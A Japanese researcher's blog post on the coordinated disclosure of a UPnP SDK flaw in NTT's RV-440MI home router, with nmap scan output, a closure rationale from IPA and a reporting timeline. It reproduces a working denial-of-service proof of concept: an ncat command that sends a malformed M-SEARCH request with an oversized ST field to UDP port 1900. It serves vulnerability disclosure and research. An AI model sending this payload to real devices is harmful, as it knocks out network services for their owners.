ひかり電話ルータ「RV-440MI」 における Portable SDK for UPnP の脆弱性が修正された

2014 年 7 月 7 日、ひかり電話ルータ「RV-440MI」における Portable SDK for UPnP脆弱性JVNVU#90348117)が修正されました。2013 年 2 月に IPA にこの脆弱性を報告したところ、2014 年 10 月に脆弱性情報が公表されずに取扱終了となりました。
この日記では、この脆弱性について、次の 4 点を書きます。

  • 脆弱性を発見した経緯
  • 脆弱性の再現手順
  • 取扱終了となった理由
  • 報告から取扱終了までの時系列

脆弱性を発見した経緯

Nmap の NSE スクリプトupnp-info」を試用していたとき、当該脆弱性の可能性を確認しました。

2013 年 2 月 11 日の日記を書いた頃、UPnP を調べていました。この過程で「RV-440MI」に「upnp-info」を実行したところ、下記の結果*1を得ました。この Server ヘッダの「Intel SDK for UPnP devices/1.3.1」をみたところ、「ん?」と思いました。JVNVU#90348117VU#922681)の脆弱なバージョンに該当するのではないかと。
そこで、「Security Flaws in Universal Plug and Play」 p.17 の情報にもとづく単純な実証コードを試行したところ、当該製品の UPnP サービスが DoS 状態となりました。この結果から脆弱性の存在を確信して IPA に報告しました。

$>nmap -sU -p1900 --script=upnp-info.nse -n 192.168.0.1

Starting Nmap 6.25 ( http://nmap.org ) at 2013-02-04 02:09 東京 (標準時)
Nmap scan report for 192.168.0.1
Host is up (0.00s latency).
PORT     STATE SERVICE
1900/udp open  upnp
| upnp-info:
| 192.168.0.1
|     Server: Linux/2.6.33.5, UPnP/1.0, Intel SDK for UPnP devices/1.3.1
|     Location: http://192.168.0.1:49152/gatedesc.xml
|       Webserver: Linux/2.6.33.5, UPnP/1.0, Intel SDK for UPnP devices/1.3.1
|       Name: RV-440MI
(snip)
|_      Model Version:
MAC Address: 38:E0:8E:XX:XX:XX (Mitsubishi Electric Co.)

Nmap done: 1 IP address (1 host up) scanned in 2.63 seconds

脆弱性の再現手順

IPA に報告した脆弱性関連情報(様式はこちら)から再現手順、検証コードなどを引用します。なお、引用文の「RV-440MI_malformed-msearch.pcap」を Cloudshark にアップロードしました(こちら)。

  4) 再現手順
     (1) 8) の検証コードをテキストファイルに保存する。
         本手順では、「m-search_malformed.txt」とする。

     (2) Nmap 6.25 に同梱されている「ncat」を使って、検証コードを
         対象製品に送信する。

         $> ncat -u --send-only 239.255.255.250 1900 < m-search_malformed.txt
         または
         $> ncat -u --send-only 192.168.0.1 1900 < m-search_malformed.txt
         (192.168.0.1 は対象製品の IP アドレス)

     (3) Nmap にて 1900/udp にポートスキャンを実行すると、Nmap の
         実行結果が closed となっていることが確認できます。

         $> nmap -sU -p 1900 -n 192.168.0.1

         実際には対象製品から ICMP Port Unreachable という応答が
         返ってきています。

     (2) でマルチキャスト宛に M-SEARCH リクエストを送信した結果、
     および (3) のポートスキャンの結果をパケットキャプチャファイ
     ルに保存しました。
     添付ファイル:RV-440MI_malformed-msearch.pcap

  5) 再現の状況
     ■ 常に    □ 時々    □ まれに

     4) 再現手順の (2) を 1 回送信しただけでは、(3) の結果が得ら
     れない場合がありましたが、2,3 回送信することで再現すること
     を確認しています。

(snip)

  8) 検証コード
     この検証コードは、Rapid7 社「Security Flaws in Universal Plug
     and Play」p.17 に記載されているコードを基に作成しました。
     https://community.rapid7.com/servlet/JiveServlet/download/2150-1-16596/SecurityFlawsUPnP.pdf

--- ここから ----------------------------------------------------
M-SEARCH * HTTP/1.1
Host:239.255.255.250:1900
ST:uuid:schemas:device:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:anything
Man:"ssdp:discover"
MX:3

--- ここまで ----------------------------------------------------

取扱終了となった理由

2014 年 10 月 14 日、IPA から「製品開発者が全ての製品利用者を把握しており本制度の適用範囲に該当せず、かつ全ての製品利用者への対策が完了しているため、本件の取扱いを終了」するとの連絡をいただきました。このとき、情報セキュリティ早期警戒パートナーシップガイドラインの該当箇所も提示いただきました(下記参照)。
すでに脆弱性が修正されており、反論する根拠もなかったため、僕は取扱終了に同意しました。

  III.本ガイドラインの適用の範囲
   本ガイドラインの適用の範囲は、脆弱性により不特定多数の人々に
   被害を及ぼすもので、以下に挙げるものを想定しています。

  IV.ソフトウエア製品に係る脆弱性関連情報取扱
   3.IPA および JPCERT/CC の対応
    (1) IPA
      7) 脆弱性関連情報受理後の対応
      IPA は、JPCERT/CC に通知した脆弱性関連情報に関して、以下の
      いずれかに該当する場合、発見者に連絡するとともに、処理を取
      りやめることがあります

      (ウ) 製品開発者がすべての製品利用者に通知する場合(システム
           構築事業者を介して通知するケースを含む

報告から取扱終了までの時系列

年月日 事柄
2013/02/05 IPA脆弱性情報を報告
2013/02/07 IPA から脆弱性情報を受理したとの連絡をいただく
2013/05/13 IPA から脆弱性情報に関する質問をいただく。同日、質問に回答
2014/07/07 ファームウェア Ver.06.01.0019 がリリース
2014/07/09 ファームウェア Ver.06.01.0019 で事象が再現しないことを確認
2014/07/10 IPA に対応状況を質問
2014/07/25 IPA から「Ver.06.01.0019で脆弱性が修正されたこと」を連絡いただく。また「製品開発者は当該製品の利用者を全て把握していること」をふまえて、届出の取扱いを検討するとのこと
2014/09/11 IPA に検討状況を確認
2014/09/12 IPA および JPCERT/CC にて製品開発者からの「全ての利用者を把握している」正式な連絡内容を確認しているとのこと
2014/10/14 IPA から取扱終了の連絡をいただく
2014/10/19 取扱終了に同意

さいごに

脆弱性を修正いただいた NTT 社、報告から修正および取扱終了まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

*1:MAC アドレスの下位 3 バイトを XX:XX:XX でマスクしました。